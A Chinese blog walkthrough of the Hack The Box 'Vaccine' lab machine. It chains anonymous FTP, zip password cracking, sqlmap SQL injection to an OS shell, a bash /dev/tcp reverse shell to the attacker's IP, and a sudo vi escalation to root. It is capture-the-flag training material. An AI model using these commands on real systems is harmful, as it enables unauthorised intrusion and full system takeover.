[HTB] Vaccine 渗透测试笔记
HTB Vaccine 靶机渗透实战
目标靶机信息
- 靶机IP: 10.129.10.233
一、端口扫描
使用 Nmap 进行端口扫描,发现以下开放端口:
1 | nmap -sS -p- 10.129.10.233 |

1. 端口扫描结果分析
- 21/tcp open ftp vsftpd 3.0.3
- 22/tcp open ssh OpenSSH 8.0
- 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
其中21端口发现ftp服务,想起来之前靶场有过ftp匿名登陆的情况,尝试使用匿名登陆。
1 | ftp 10.129.10.233 |

2. 通过ftp获取文件
成功登陆后查看目录
1 | ls -al |

把backup.zip下载下来
1 | get backup.zip |
尝试解压backup.zip文件时需要密码
使用John the Ripper对zip文件进行破解
1 | zip2john backup.zip > zippedzip.txt |

再次解压缩backup.zip,获得两个文件style.css和index.php
使用cat查看index.php文件内容
1 | cat index.php |

发现管理员admin和md5加密的密文,使用在线网站解密解密获得密码

二、web漏洞利用,SQL注入
在拥有了账号admin和密码后,访问靶机的80端口,进入Web界面
在search框口输入1,发现url内有id参数,f12后发现PHPSESSID和value,怀疑存在SQL注入漏洞,接下来使用sqlmap进行测试
1 | sqlmap -u "http://10.129.10.233/dashboard.php?search=py" \ |
成功获取到os shell。
接下来利用反向shell以postgres shell连接
使用nc命令监听8888端口
1 | nc -lvnp 8888 |
在sqlmap的os shell中执行以下命令,建立反向shell连接
1 | bash -c 'bash -i >& /dev/tcp/10.10.16.6/8888 0>&1' |

三、提权
1. 提权至postgres用户
在反向shell中,找www目录下的文件
1 | cd /var/www/html |

发现名为dashboard.php的文件,查看该文件内容
1 | cat dashboard.php | grep pass #过滤出包含pass的行 |
发现了postgres用户的密码
接下来可以使用python脚本进行提权
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
但是我的命令框经常自动关闭,显示会话died,
想起来该靶机开放了22端口,尝试ssh登陆
1 | ssh postgres@10.129.10.233 |
输入密码后成功登陆
成功提权至ostgres用户
2. 提权至root
接下来使用sudo -l命令,发现了/bin/vi 是可以使用特定 pg_hba.conf 文件运行的程序,于是执行
1 | sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf |
成功提权到root权限
四、总结
在本次 HTB Vaccine 靶机渗透中,依次利用了 FTP 匿名登录 → 获取源码与凭据 → Web 登录 → SQL 注入获取 OS Shell → 反弹 Shell → SSH 登录 → sudo 提权 的完整攻击链。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Nuyoahのblog!
评论










![[HTB] Vaccine 渗透测试笔记](https://img.nuyoah.icu/post/postcover/1754957308525_a03c7988cfa9f6c64f900037f12b00d5.webp)
![[HTB] Oopsie 渗透测试笔记](https://img.nuyoah.icu/post/postcover/1754957308521_9742ad3ab1d77012675c4a8d651dcf1c.webp)
![[HTB] Archetype 渗透测试笔记](https://img.nuyoah.icu/post/postcover/1754957308523_c792bdc475f4e6e2b80301ba2bf9aa68.webp)